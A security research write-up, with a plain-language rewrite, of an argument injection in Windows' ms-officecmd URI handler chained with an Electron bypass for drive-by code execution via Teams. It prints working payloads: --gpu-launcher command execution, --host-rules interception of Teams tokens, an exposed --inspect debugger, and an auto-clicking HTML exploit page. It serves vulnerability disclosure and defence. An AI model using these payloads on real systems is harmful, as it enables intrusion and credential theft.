Exploitation/Demo
The ms-officecmd URI handler allowed argument injection, which could be chained with an IE/Edge Legacy misconfiguration and an Electron patch bypass for drive-by RCE.
Published on positive.security
Code execution is triggered by a malicious website which performs a Javascript redirect to a crafted ms-officecmd: URI (a scheme used by the Microsoft Office UWP app to launch other Office desktop applications). We exploit an argument injection vulnerability in the URI handler and bypass a security measure in Electron…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Windows 10 ships with a large number of custom URI handlers, each registered under Computer\HKEY_CLASSES_ROOT\* with a URL Protocol value. One of them, ms-officecmd:, is the default handler used by the Microsoft Office UWP app to launch other Office desktop applications. In a default Windows 10 installation, LocalBridge.exe is associated as the only handler for that scheme. The scheme is used internally by the Office PWA application, but any application can open such a link: a browser, an email client or an instant messenger.
LocalBridge.exe (C#) parses a JSON payload, performs light validation, and when it encounters a LocalProviders.LaunchOfficeAppForResult key it calls LaunchOfficeAppValidated, implemented in the native AppBridge.dll. That function uses information from details to search for the right executable (via MyOffice::AppDiscovery::ResolveBest / MakeW32AppDiscovery) so that only specific Microsoft apps are launched, and performs additional checks on the filename value, for example that it is a valid URI and does not end with a malicious file extension.
The research goal was to find a code execution vulnerability in a URI handler that comes pre-installed with Windows, improving on earlier work that relied on third-party handlers or on file-related schemes (nfs, dav, file) coupled with executables or jar files hosted on internet-accessible fileshares, which either require Java or a dialog to run the executable.
Setup
The work was done on Windows 10, with the latest Windows Insider Dev Channel build used for the final verification. Microsoft Teams had to be installed but not running for the --gpu-launcher exploit. Skype comes pre-installed on Windows 10.
Tools used:
- The Windows registry, searched repeatedly for
URL Protocolto enumerate registered handlers. - The Windows Event Log, to observe exceptions raised by the handler.
- dotPeek, to decompile
LocalBridge.exe. - Ghidra, to disassemble the native
AppBridge.dll. - Microsoft's 'Edge DevTools Preview' app, to hook into and debug the Office UWP app.
- Microsoft Sysinternals Process Monitor, to record
Process Createevents associated withLocalBridge.exe. - A virtual machine and a host system, for the local network
--inspectdemo.
Finding it
Enumerating handlers
Searching the registry for URL Protocol gave a convenient list of registered schemes. Any hit under Computer\HKEY_CLASSES_ROOT\* means the containing folder name is a registered scheme, and the registry also holds the shell command used to invoke the handler. A quicker hands-on check is to type the scheme into the browser address bar followed by : and press enter; the calculator: scheme, for example, opens calc.exe from Edge.
The ms-officecmd: scheme stood out because of its name: Office is a complex suite with many legacy features, and the scheme ends in the abbreviation for 'command', suggesting complexity and injection potential.
First observations
Opening the scheme caused an executable called LocalBridge.exe to run briefly with no apparent external effect. The Windows Event Log showed a .NET JsonReaderException triggered by opening ms-officecmd:invalid. The same exception did not occur for the empty but valid JSON payload ms-officecmd:{}, which gave the first hint about the structure of a valid URI.
Reversing the handler
Decompiling LocalBridge.exe revealed the URI validation and the call to LaunchOfficeAppValidated. The C# code held more information on the structure of a valid JSON payload, and the first experiment looked like this:
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"name": "Word"
},
"filename": "C:\\Windows\\System32\\calc.exe"
}
}
This produced no observable behaviour. The next step was AppBridge.dll, which contains LaunchOfficeAppValidated, the method the JSON payload is ultimately passed to. Disassembling the native library yielded more potential JSON attribute names, but it was not immediately obvious how to use them.
Debugging the Office UWP app
In parallel, the researchers inspected an application that generates such URIs rather than the one that handles them. The Office UWP app was a likely candidate because it can be opened via the custom scheme ms-officeapp:, which looks very similar to ms-officecmd:, and because it behaves almost identically to the Office365 web interface at https://www.office.com/, except that it allows opening some desktop applications that cannot be opened from the web. The app comes pre-installed on Windows 10.
Using Microsoft's own 'Edge DevTools Preview' app, the process could be hooked and the Office UWP app debugged. The steps were:
- Perform a global source code search (
ctrl+shift+f) for 'ms-officecmd'. The only occurrence was the definition of thelaunchProtocolconstant. - Search for usages of
launchProtocol. The first hit was in thelaunchViaProtocolmethod. - Add a breakpoint in
launchViaProtocoland trigger it by clicking the Outlook icon on the left side bar. - Extract the JSON payload structure from the local variable.
An even faster alternative to recover the payload is Process Monitor, recording Process Create events associated with LocalBridge.exe.
Basic payload structure
With the extracted payload, Office desktop applications could be opened via ms-officecmd:. The payload extracted from the Office UWP app opened Outlook:
ms-officecmd:{
"id": 3,
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 8,
"name": "Outlook",
"discovered": {
"command": "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"
}
},
"filename": ""
}
}
Two properties could be manipulated to an immediately observable effect: appId, the Office desktop application to be opened, and filename, the file path or URL of the file to open in that application. The name and command properties were validated and treated with lower priority, while id seemed to be used only for telemetry.
On a machine with a basic Office installation, the following appId mappings were enumerated:
appId |
Application |
|---|---|
| 1 | Access |
| 2 | Excel |
| 5 | Teams |
| 6 | Skype for Business |
| 7 | OneDrive |
| 8 | Outlook |
| 10 | PowerPoint |
| 12 | Publisher |
| 14 | Word |
| 18 | OneNote |
| 21 | Skype |
The list of launchable applications in the report to Microsoft also includes Delve, OfficeLens, Project, Sway, Visio, Office and Office Hub.
Outlook phishing
When an http(s) URL was provided in filename, Outlook rendered the webpage in an IE11-powered embedded webview, with no indication of the page's origin or even that the content came from an external webpage. This could be abused for believable phishing, especially since mailto: links are, depending on local configuration, expected to open the user's email program. A cloned Office login page displayed inside the Outlook window makes for a convincing attack.
Outlook code execution
Outlook does not allow file:// URLs, but the C:// "url scheme" is allowed and later treated as the drive letter of a local path. Adding a trailing / bypasses a file extension check in AppBridge.dll and is later ignored when the executable is opened. This PoC requires the user to confirm an additional warning dialog, but the context is misleading enough that even more advanced users might accept it.
When the link on the malicious webpage is clicked:
- A malicious executable named
outlook.exeis saved to the victim's download folder by dynamically adding an iframe that points to the exe (in the demo, a renamed PuTTY executable). - The innocent-looking
mailto:link target is replaced with a maliciousms-officecmd:URI referencing the downloaded executable in itsfilenameproperty. - The user confirms the 'Open LocalBridge?' dialog, which is not an explicit security warning.
- When Outlook starts up, it displays a warning about opening a potentially unsafe hyperlink. The user confirms opening the local 'outlook.exe' file since they expect Outlook to open.
- The downloaded file is executed and the PuTTY window pops up.
Exploitation
Step 1: argument injection in filename
The issues above abused filename with values that were unexpected only in the context of Outlook, but valid in the abstract context of the handler: Office applications allow opening documents hosted on the web via http(s) URLs, as with files in SharePoint/OneDrive. The next discovery attacks how filename is processed by the handler itself. To open the specified application with the specified parameters, the handler would ultimately either generate and execute a shell command or run the executable directly, and the attacker-controlled filename would be passed as part of the command or as an argument. Experimenting with common command and argument injection techniques showed that a simple " (double quote plus space) sequence breaks out of the filename specification.
A basic demonstration injects a /q switch into Word:
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 14,
"name": "Word",
"discovered": {
"command": "irrelevant"
}
},
"filename": "https://example.com/\" /q"
}
}
The quote needs to be escaped so as not to break the JSON. The effect is visible as the absence of the blue splash (loading) screen when the second URI is opened.
Step 2: attempting to load malicious Office add-ins
With arguments injectable into the launch commands, the next step was to check which arguments were available. Of the documented command line switches for Microsoft Office products, those pertaining to loading add-ins on startup seemed most promising. Plain .dll and .wll files, VSTO add-ins and 'Office' (web) add-ins were tried. None of the crafted add-ins could be made to load on startup: using the -l switch to load a Word add-in failed because the application seemingly interpreted it as a document file to open.
Step 3: Teams MITM and authentication leak with --host-rules
Microsoft Teams and Skype are based on Electron and therefore accept a wide range of Electron and Node.js command line arguments. The first confirmed abuse is --host-rules, which remaps IP addresses and host names so that all relevant network traffic is directed to the chosen target. When the map destination is a new domain, there are no TLS errors as long as TLS is correctly set up for that domain; adding --ignore-certificate-errors removes even that requirement. With a reverse proxy or just a listening web server, an attacker could extract all sensitive information sent to Teams' back-end services, including authentication tokens and messages, and could modify API responses to impersonate any Teams user towards the victim.
Two hurdles had to be overcome to craft a valid payload:
- As a fix for CVE-2018-1000006, Electron changed its command line parsing to drop additional arguments after a URI. Checking the source code, an exception for 1-letter URI schemes was identified, intended to avoid accidental triggering by Windows file paths with drive letters such as
C:/. This allowed injecting Electron arguments after a bogusfilenameprefix likea:/b/, which is accepted by both Electron andAppBridge.dll. - Teams would sometimes not start for
filenameparameters containing.characters because of a file extension check inAppBridge.dll. In the demo this is bypassed by converting the target IP address[redacted]to its integer format54571215.
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 5,
"name": "irrelevant",
"discovered": {
"command": "teams.exe",
"uri": "msteams"
}
},
"filename": "a:/b/ --ignore-certificate-errors --host-rules=\"MAP * 54571215\""
}
}
In the demo the requests are not forwarded to Teams' real backend, which results in a connection error.
Step 4: Teams/Skype code execution from the local network via --inspect
The Node.js --inspect parameter starts a debugger for the Node.js JavaScript environment and specifies the network interface and port. By default debugging is only available through [redacted]. Overriding that with --inspect="[redacted]:28966" makes debugger connections accepted on port 28966 for any network interface. Once connected, a standard Node.js library executes the command: require("child_process").exec("<command>").
Crafting the payload required two tricks:
- Because of the way
filenameis processed when Skype is opened this way, an additional"character is required after the fake file name before other parameters can be injected. - The IP address integer format is not accepted when specifying the listening interface, so
.characters are unavoidable. The file extension check inAppBridge.dllis bypassed by adding a/character at the end of the maliciousfilenamepayload.
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 21,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/\" --inspect=\"[redacted]:28966\" /"
}
}
The demo clicks a malicious link inside a VM and connects a debugger to the Skype process from the host system. For susceptible setups, the attack could be combined with DNS rebinding or NAT Slipstreaming to achieve RCE through the browser without local network access.
Step 5: an unconfirmed idea combining --inspect, --host-rules and --disable-web-security
This potential exploit was never confirmed or attempted, because full RCE was achieved by the method in the next step first. The idea combines --host-rules and --inspect with the Chromium switch --disable-web-security to use control of the Chromium JavaScript context to reach the Node.js debugger:
- Teams is launched via a malicious website with these parameters injected:
--host-rules="MAP <ms_teams_resources_host> <attacker_host>"--ignore-certificate-errors--inspect=1337--disable-web-security
- During startup, a malicious reverse proxy or web server at
<attacker_host>modifies legitimate resource files that make up the Teams UI to include a malicious JavaScript payload executed in the context of the embedded Chromium browser. - The malicious JavaScript requests the Node.js debugger metadata endpoint at
http://[redacted]:1337/json/listto retrieve the<random_uuid>required for the debugger connection. The--disable-web-securityswitch should disable the Same-origin policy, making the response visible. - The malicious JavaScript connects to
ws://[redacted]:1337/<random_uuid>to take control of the Node.js process and execute an OS command.
Step 6: Teams code execution via --gpu-launcher
This is the discovery that produced arbitrary code execution via a malicious ms-officecmd: URI, with Teams installed but not running. The payload is based on the exploit for CVE-2018-1000006, which uses --gpu-launcher to inject an arbitrary command executed when the Electron application launches. To make it work with the argument injection and Teams:
- Start
filenamewith a 1-character URI scheme to pass theAppBridge.dllvalidation without running into the Electron fix for CVE-2018-1000006, which still allows additional arguments after Windows filenames such asC:. - Inject the additional
--disable-gpu-sandboxargument. - Bypass the file extension check in
AppBridge.dllby either forgoing.characters or appending a/to the maliciousfilenamevalue. - Add a shell directive such as
&&at the end of the injected command to preserve valid syntax overall.
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 5,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
}
}
Skype comes pre-installed on Windows 10 and multiple instances can be started in parallel by adding --secondary, so a valid payload for Skype should work on a default Windows 10 install without any precondition. No valid payload for Skype was found; extra security measures may have been implemented for Skype when it was found vulnerable to CVE-2018-1000006.
Step 7: drive-by exploitation through IE11 and Edge Legacy
While preparing the MSRC report, the researchers noticed that the report flow includes a mandatory dropdown asking whether the vulnerability reproduces on the latest Windows Insider Dev Channel. The latest Windows 10 from that channel was installed to verify the exploit. It worked, and by simply adding JavaScript that clicks the malicious link, the pre-installed Internet Explorer 11 and the obsolete 'Legacy' version of Edge triggered code execution with no user interaction beyond browsing a malicious website. The initial assumption that all modern browsers have sensible defaults for obscure schemes like ms-officecmd: proved wrong.
<html>
Exploit in progress <a id="[l](https://positive.security/blog/ms-officecmd-rce#)" href="[ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}](https://ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}})"></a>
<script>document.getElementById("l").click(); </script>
Other browsers show a rather inconspicuous confirmation dialog before opening the malicious URI, which IE and Edge Legacy do not. As an alternative to malicious websites, crafted ms-officecmd: URIs could be delivered via desktop applications performing unsafe URL handling.
The same payload appears in the MSRC report:
ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}
The report's payload summary explains the parts: the JSON structure conforms to what LocalBridge.exe/AppBridge.dll expects and instructs the handler to call the Teams executable via appId: 5 with filename as argument; filename starts with a 1-character URI scheme to pass the AppBridge.dll validation without hitting the Electron fix for CVE-2018-1000006; additional arguments are injected via the filename value to disable the GPU sandbox and prepend the payload command executed when the application's GPU process starts. The MSRC report also attaches a Thunderbird demo (3_Thunderbird_RCE.mp4) showing exploitation by opening a link in Thunderbird.
Root cause
The core issue is an argument injection in the ms-officecmd: URI handler: the attacker-controlled filename property is passed into the launch command or arguments without preventing a " sequence from breaking out of the filename specification. The handler accepts, parses and validates JSON with a lot of information, and as a sink it can call a large number of diverse applications that behave slightly unexpectedly to a given URI scheme, file extension or special character. The range of potentially malicious filename values spans implementation details of applications from various developer teams, which introduces a high attack surface and probability for inconsistencies.
Existing defences did not stop it. The AppBridge.dll checks (valid URI, no malicious file extension) are bypassed by a 1-letter URI scheme prefix such as a:/b/, by integer-format IP addresses, or by a trailing /. Electron's fix for CVE-2018-1000006, which drops additional arguments after a URI, has an exception for 1-letter URI schemes intended for Windows drive letters, and that exception is what allows the injected Electron arguments to survive. The --gpu-launcher command additionally needs --disable-gpu-sandbox, otherwise the external process is created but exits immediately.
Impact
On Windows 10, a user who visits a malicious website with IE11 or Edge Legacy, or who clicks a malicious ms-officecmd: link in any application, can have arbitrary commands executed on their computer. The drive-by variant requires Teams to be installed but not running. Through other browsers the victim must accept an inconspicuous confirmation dialog. The same argument injection is still present on Windows 11, which was not yet released at the time of the research.
Beyond direct RCE via --gpu-launcher, the report lists:
--host-rulesfor a full Electron MITM, for example to retrieve Teams messages and auth tokens, with--ignore-certificate-errorsto disable TLS checking entirely; as MITM the attacker can also inject JavaScript and strip CSP headers.--inspect=[redacted]:1234to start a local Node.js debug server on all interfaces, letting an attacker in the local network retrieve the endpoint URL from/json/listand connect to the debug WebSocket to run arbitrary native code (also tested with Skype).- Application-specific arguments such as the
/lswitch in Word to load an add-in from a UNC path; UNC paths were verified to be accepted, but the impact of loading malicious Office add-ins was not evaluated. - Without argument injection: Outlook phishing via a web URL in
filename, and Outlook code execution via aC:/.../some.exe/URL combined with Chrome's autodownload behaviour, after a security warning.
Fix
Microsoft's patch, issued after 5 months, seems to only affect Teams and Skype in particular. It prevents the RCE PoCs described, but the argument injection itself is still present on fully patched Windows 10 and 11 systems, and at the time of publishing arbitrary arguments could still be injected and the Outlook phishing attack performed. Microsoft said another patch addressing the argument injection was prepared and gave the go-ahead to publish independently of its rollout. No CVE was assigned and no advisory published; Microsoft explained that the fix did not go out through Windows Update, and that changes to websites, downloads through Defender or through the Store normally do not get a CVE attached in the same way.
The report recommends, if possible, removing the URI handler and migrating to application-specific handlers such as teams: and ms-word:, or making the handler available only to the Office PWA app. In addition:
- Strengthen filename validation in
AppBridge.dll: implement a URI scheme allow-list (preferably only http/https) and prevent injection of additional arguments. - Improve Outlook URL argument handling: do not load websites inside the Outlook UI, and do not open local URIs when encountering an
X:/"scheme" (file://URIs are already blocked). - Harden Teams and Skype so they do not accept additional parameters even after 1-character URI schemes.
- Improve Edge URI handling: ask the user for confirmation before starting external programs as URI handlers.
Variants to test
- Other default Windows URI handlers. Enumerate them by searching the registry for
URL ProtocolunderComputer\HKEY_CLASSES_ROOT\*, or by typing each scheme into the browser address bar. A positive result is a handler that passes a user-controlled value into a command line and lets a"sequence add arguments. - Other launchable applications behind
ms-officecmd:. EnumerateappIdvalues and try injecting application-specific switches. A positive result is an observable change in behaviour, such as a suppressed splash screen from an injected/q. - Electron applications launched through a URI handler. Try a 1-letter URI scheme prefix such as
a:/b/followed by--gpu-launcher,--host-rules,--inspector--disable-web-security. A positive result is command execution, traffic redirected to your server, or a debugger reachable on a non-loopback interface. - File extension checks in front of argument injection. Try integer-format IP addresses to avoid
.characters, or a trailing/on the filename. A positive result is the application starting where it previously refused. - Browsers and other applications that open external schemes. Check whether a JavaScript redirect or a click reaches the handler without a confirmation dialog. A positive result is code execution with no prompt beyond browsing.
- Desktop applications performing unsafe URL handling as a delivery vector for the crafted URI, instead of a browser.
What happened, in plain words
Imagine your computer has a set of shortcuts, each with its own name. When you type a name like calculator: into your browser's address bar and press enter, Windows knows exactly which program to start. These shortcuts are called URI handlers. Windows 10 comes with a lot of them, and one of them is called ms-officecmd:. It is meant to let the Microsoft Office app start other Office programs, such as Word or Outlook.
Two security researchers, Fabian Bräunlein and Lukas Euler, decided to look for a way to run their own commands through one of these built-in shortcuts. Within two weeks they found one. The shortcut ms-officecmd: takes a piece of text in a format called JSON (a way of writing structured information, like a very strict shopping list) and uses part of that text as a file name or web address to open. The researchers found that they could sneak extra instructions into that text, and those extra instructions would be treated as commands for the program being started. This kind of trick is called an argument injection: you slip extra arguments into a command that was only supposed to receive one.
Using this, they could make Microsoft Teams (a chat and meeting program) run any command they wanted, just by getting someone to visit a malicious website. In Internet Explorer 11 and the old Edge browser, the victim did not even have to click anything. In other browsers, a small confirmation dialog appeared first. They reported it to Microsoft, which at first dismissed it, then classified it as critical, paid 5,000 US dollars out of a possible 50,000, and after five months released a patch that only fixed part of the problem. The underlying argument injection was still present on fully patched Windows 10 and 11 at the time of publishing.
This article walks through the whole story in the same order as the researchers told it, explaining every technical idea from scratch.
The starting point: shortcuts with names
A URI handler is a kind of shortcut registered with the operating system. The name before the colon is called a scheme. When you click a link that starts with mailto:, your computer opens your email program. When you click one that starts with https:, it opens your browser. Windows keeps a list of these schemes in a database called the registry, which is where Windows stores settings.
Each registered scheme has an entry under Computer\HKEY_CLASSES_ROOT\* with a value called URL Protocol. The folder name is the scheme, and the registry also records the command Windows runs when that scheme is used.
The researchers wanted to find a code execution vulnerability in a handler that comes pre-installed with Windows. Earlier work of theirs had relied on third-party handlers or on file-related schemes (nfs, dav, file) combined with programs hosted on internet-accessible file shares. Those approaches had a drawback: they either needed Java installed or needed the user to confirm a dialog before the program ran. A built-in handler would be a cleaner attack.
Setting up
The work was done on Windows 10, with the latest Windows Insider Dev Channel build used for the final verification. The Insider Dev Channel is a test version of Windows that Microsoft releases to volunteers before the general public gets it. Microsoft Teams had to be installed but not running for the main exploit. Skype comes pre-installed on Windows 10.
Tools used:
- The Windows registry, searched repeatedly for
URL Protocolto list registered handlers. - The Windows Event Log, a diary where Windows records errors and events, used to watch exceptions raised by the handler.
- dotPeek, a tool that turns compiled .NET programs back into readable source code (decompiling).
- Ghidra, a tool that does the same for compiled native programs.
- Microsoft's 'Edge DevTools Preview' app, a developer tool that can inspect and debug web-based applications.
- Microsoft Sysinternals Process Monitor, a tool that records every program Windows starts.
- A virtual machine and a host system, for the local network demo. A virtual machine is a computer running inside another computer.
Finding it
Listing the shortcuts
Searching the registry for URL Protocol gave a convenient list of registered schemes. Any hit under Computer\HKEY_CLASSES_ROOT\* means the containing folder name is a registered scheme, and the registry also holds the command used to invoke the handler. A quicker hands-on check is to type the scheme into the browser address bar followed by : and press enter. The calculator: scheme, for example, opens calc.exe from Edge.
The ms-officecmd: scheme stood out because of its name. Office is a complex suite with many legacy features, and the scheme ends in the abbreviation for 'command', suggesting complexity and injection potential.
First observations
Opening the scheme caused a program called LocalBridge.exe to run briefly with no apparent external effect. The Windows Event Log showed a .NET JsonReaderException triggered by opening ms-officecmd:invalid. A JsonReaderException is an error a program raises when the text it is given is not valid JSON. The same exception did not occur for the empty but valid JSON payload ms-officecmd:{}, which gave the first hint about the structure of a valid URI: the handler expects JSON, and {} is valid JSON meaning an empty list.
Taking the handler apart
Decompiling LocalBridge.exe revealed the URI validation and the call to LaunchOfficeAppValidated. The C# code held more information on the structure of a valid JSON payload, and the first experiment looked like this:
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"name": "Word"
},
"filename": "C:\\Windows\\System32\\calc.exe"
}
}
Line by line:
ms-officecmd:{starts the shortcut and opens a JSON object (a set of key and value pairs, like a form with labelled fields)."LocalProviders.LaunchOfficeAppForResult"is the name of the action the handler should perform: launch an Office app and return a result."details"holds information about which app to launch. Here it only says"name": "Word"."filename"is the file to open. Here it points at the Windows calculator,calc.exe.- The closing braces end the JSON object.
This produced no observable behaviour. The next step was AppBridge.dll, which contains LaunchOfficeAppValidated, the method the JSON payload is ultimately passed to. A DLL is a library of code that other programs load and use. Disassembling the native library yielded more potential JSON attribute names, but it was not immediately obvious how to use them.
Watching the Office app that creates these links
In parallel, the researchers inspected an application that generates such URIs rather than the one that handles them. The Office UWP app was a likely candidate because it can be opened via the custom scheme ms-officeapp:, which looks very similar to ms-officecmd:, and because it behaves almost identically to the Office365 web interface at https://www.office.com/, except that it allows opening some desktop applications that cannot be opened from the web. UWP is Microsoft's format for apps installed from its Store. The app comes pre-installed on Windows 10.
Using Microsoft's own 'Edge DevTools Preview' app, the process could be hooked and the Office UWP app debugged. Debugging means pausing a running program and looking at what it is doing. The steps were:
- Perform a global source code search (
ctrl+shift+f) for 'ms-officecmd'. The only occurrence was the definition of thelaunchProtocolconstant. A constant is a named value that does not change while the program runs. - Search for usages of
launchProtocol. The first hit was in thelaunchViaProtocolmethod, a block of code that does one job. - Add a breakpoint in
launchViaProtocoland trigger it by clicking the Outlook icon on the left side bar. A breakpoint tells the debugger to pause the program at that line. - Extract the JSON payload structure from the local variable. A variable is a named box in memory that holds a value.
An even faster alternative to recover the payload is Process Monitor, recording Process Create events associated with LocalBridge.exe. A Process Create event is Windows noting that a new program started.
The basic shape of the message
With the extracted payload, Office desktop applications could be opened via ms-officecmd:. The payload extracted from the Office UWP app opened Outlook:
ms-officecmd:{
"id": 3,
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 8,
"name": "Outlook",
"discovered": {
"command": "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"
}
},
"filename": ""
}
}
Line by line:
"id": 3is a number the handler seems to use only for telemetry, meaning logging and statistics."LocalProviders.LaunchOfficeAppForResult"is again the action to perform."appId": 8tells the handler which Office application to start. 8 means Outlook."name": "Outlook"is a human-readable label."discovered"holds the path to the program that was found on disk, hereoutlook.exeinside the Office installation folder."filename": ""is empty, so no document is opened.
Two properties could be manipulated to an immediately observable effect: appId, the Office desktop application to be opened, and filename, the file path or URL of the file to open in that application. The name and command properties were validated and treated with lower priority, while id seemed to be used only for telemetry.
On a machine with a basic Office installation, the following appId mappings were enumerated:
appId |
Application |
|---|---|
| 1 | Access |
| 2 | Excel |
| 5 | Teams |
| 6 | Skype for Business |
| 7 | OneDrive |
| 8 | Outlook |
| 10 | PowerPoint |
| 12 | Publisher |
| 14 | Word |
| 18 | OneNote |
| 21 | Skype |
The list of launchable applications in the report to Microsoft also includes Delve, OfficeLens, Project, Sway, Visio, Office and Office Hub.
Outlook used for phishing
When an http(s) URL was provided in filename, Outlook rendered the webpage in an IE11-powered embedded webview, with no indication of the page's origin or even that the content came from an external webpage. A webview is a small browser window built into another program. This could be abused for believable phishing, especially since mailto: links are, depending on local configuration, expected to open the user's email program. Phishing means tricking someone into entering their password on a fake page. A cloned Office login page displayed inside the Outlook window makes for a convincing attack.
Outlook used to run a program
Outlook does not allow file:// URLs, but the C:// "url scheme" is allowed and later treated as the drive letter of a local path. Adding a trailing / bypasses a file extension check in AppBridge.dll and is later ignored when the executable is opened. A file extension check looks at the end of a file name, such as .exe, to decide whether it is dangerous. This proof of concept requires the user to confirm an additional warning dialog, but the context is misleading enough that even more advanced users might accept it.
When the link on the malicious webpage is clicked:
- A malicious executable named
outlook.exeis saved to the victim's download folder by dynamically adding an iframe that points to the exe (in the demo, a renamed PuTTY executable). An iframe is a frame inside a webpage that loads another page or file. PuTTY is a legitimate program for remote connections, renamed here to look like Outlook. - The innocent-looking
mailto:link target is replaced with a maliciousms-officecmd:URI referencing the downloaded executable in itsfilenameproperty. - The user confirms the 'Open LocalBridge?' dialog, which is not an explicit security warning.
- When Outlook starts up, it displays a warning about opening a potentially unsafe hyperlink. The user confirms opening the local 'outlook.exe' file since they expect Outlook to open.
- The downloaded file is executed and the PuTTY window pops up.
Exploitation
Step 1: slipping extra arguments into the file name
The issues above abused filename with values that were unexpected only in the context of Outlook, but valid in the abstract context of the handler: Office applications allow opening documents hosted on the web via http(s) URLs, as with files in SharePoint/OneDrive. The next discovery attacks how filename is processed by the handler itself. To open the specified application with the specified parameters, the handler would ultimately either generate and execute a shell command or run the executable directly, and the attacker-controlled filename would be passed as part of the command or as an argument. A shell command is a line of text the operating system runs, like a recipe. Experimenting with common command and argument injection techniques showed that a simple " (double quote plus space) sequence breaks out of the filename specification.
A basic demonstration injects a /q switch into Word:
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 14,
"name": "Word",
"discovered": {
"command": "irrelevant"
}
},
"filename": "https://example.com/\" /q"
}
}
Line by line:
"appId": 14selects Word."name": "Word"is the label."command": "irrelevant"is a placeholder; the handler finds the real program itself."filename": "https://example.com/\" /q"is the interesting part. It starts as a normal web address, then contains a double quote (written\"because a quote inside JSON text must be escaped, meaning marked as a literal character rather than the end of the text), then a space, then/q. The quote is meant to close the file name early, and/qis then treated as a separate switch for Word.
The quote needs to be escaped so as not to break the JSON. The effect is visible as the absence of the blue splash (loading) screen when the second URI is opened. A splash screen is the loading image a program shows while it starts.
Step 2: trying to load malicious Office add-ins
With arguments injectable into the launch commands, the next step was to check which arguments were available. Of the documented command line switches for Microsoft Office products, those pertaining to loading add-ins on startup seemed most promising. An add-in is an extra piece of software that plugs into Office. Plain .dll and .wll files, VSTO add-ins and 'Office' (web) add-ins were tried. None of the crafted add-ins could be made to load on startup: using the -l switch to load a Word add-in failed because the application seemingly interpreted it as a document file to open.
Step 3: Teams traffic interception with --host-rules
Microsoft Teams and Skype are based on Electron and therefore accept a wide range of Electron and Node.js command line arguments. Electron is a framework that lets programs be built with web technology, and Node.js is a way to run JavaScript outside a browser. Command line arguments are extra words added after a program's name to change how it behaves, like options on a form.
The first confirmed abuse is --host-rules, which remaps IP addresses and host names so that all relevant network traffic is directed to the chosen target. An IP address is a number that identifies a computer on a network, and a host name is a readable name like example.com. Remapping means telling the program that a name it wants to contact actually lives somewhere else. When the map destination is a new domain, there are no TLS errors as long as TLS is correctly set up for that domain; adding --ignore-certificate-errors removes even that requirement. TLS is the encryption that protects web traffic, and a certificate is the proof a server shows that it is who it claims to be. With a reverse proxy or just a listening web server, an attacker could extract all sensitive information sent to Teams' back-end services, including authentication tokens and messages, and could modify API responses to impersonate any Teams user towards the victim. A reverse proxy is a server that sits in the middle and forwards traffic. An authentication token is a short secret string that proves you are logged in, like a wristband at an event. An API is the set of addresses a program uses to talk to a service.
Two hurdles had to be overcome to craft a valid payload:
- As a fix for CVE-2018-1000006, Electron changed its command line parsing to drop additional arguments after a URI. A CVE is a public identifier for a known security flaw. Checking the source code, an exception for 1-letter URI schemes was identified, intended to avoid accidental triggering by Windows file paths with drive letters such as
C:/. This allowed injecting Electron arguments after a bogusfilenameprefix likea:/b/, which is accepted by both Electron andAppBridge.dll. - Teams would sometimes not start for
filenameparameters containing.characters because of a file extension check inAppBridge.dll. In the demo this is bypassed by converting the target IP address[redacted]to its integer format54571215. An IP address can be written as one large number instead of four dot-separated parts.
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 5,
"name": "irrelevant",
"discovered": {
"command": "teams.exe",
"uri": "msteams"
}
},
"filename": "a:/b/ --ignore-certificate-errors --host-rules=\"MAP * 54571215\""
}
}
Line by line:
"appId": 5selects Teams."command": "teams.exe"and"uri": "msteams"describe how Teams is normally started."filename": "a:/b/ --ignore-certificate-errors --host-rules=\"MAP * 54571215\""is the injected part.a:/b/is a fake one-letter scheme that passes the checks.--ignore-certificate-errorstells Teams to accept any certificate.--host-rules="MAP * 54571215"tells Teams to send all traffic to the server at the integer IP address54571215.
In the demo the requests are not forwarded to Teams' real backend, which results in a connection error.
Step 4: running commands from the local network with --inspect
The Node.js --inspect parameter starts a debugger for the Node.js JavaScript environment and specifies the network interface and port. A debugger is a tool that can pause a program and run code inside it. A port is a numbered door on a computer that network traffic goes through. By default debugging is only available through [redacted], which means only the same computer can connect. Overriding that with --inspect="[redacted]:28966" makes debugger connections accepted on port 28966 for any network interface, meaning other computers on the network can connect too. Once connected, a standard Node.js library executes the command: require("child_process").exec("<command>"). In plain words, this asks Node.js to run an operating system command.
Crafting the payload required two tricks:
- Because of the way
filenameis processed when Skype is opened this way, an additional"character is required after the fake file name before other parameters can be injected. - The IP address integer format is not accepted when specifying the listening interface, so
